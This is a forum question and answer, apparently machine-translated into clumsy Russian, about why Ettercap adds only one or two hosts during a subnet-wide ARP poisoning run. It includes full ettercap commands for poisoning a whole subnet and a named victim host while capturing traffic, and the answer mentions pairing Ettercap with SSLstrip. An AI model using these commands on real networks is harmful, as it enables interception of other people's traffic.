Ettercap не сканировать все хосты

Question

Я попытался бежать бежать Ettercap следующим образом:

sudo ettercap -i eth0 -Tq -M arp:remote,oneway -w out.data // /10.8.40.250/ 

Но Ettercap может добавить только 2 (иногда 1) хостов в списке хостов.

Scanning the whole netmask for 8191 hosts... 
* |==================================================>| 100.00 % 

1 hosts added to the hosts list... 

ARP poisoning victims: 

GROUP 1 : ANY (all the hosts in the list) 

Starting Unified sniffing... 

Text only Interface activated... 
Hit 'h' for inline help 

Почему это только печатная группа 1?

Если я пытаюсь отравить конкретный хозяин,

sudo ettercap -i eth0 -Tq -M arp:remote,oneway -w out.data /10.8.41.202/ /10.8.40.250/ 

Это работает!

мой IP: маски подсети 10.8.57.121: 255.255.224.0

я смог запустить одно и то же некоторое время назад, добавьте 20-30 хостов и успешно ARP яд большинство из них. Что я делаю сейчас неправильно?

Answer 1

я написал статью о Ettercap & SSLstrip некоторое время назад. (http://bidabe.zapto.org/?p=17)

Вы не делаете ничего плохого, если вы запустите снова и снова та же командной строки, вы заметите, что "Group 2 "появляется беспорядочно.

Используя интерактивный режим с автозагрузкой, вы можете увидеть все хосты (для этой подсети), которые в настоящий момент отравлены в режиме реального времени. Я считаю, что это сбой.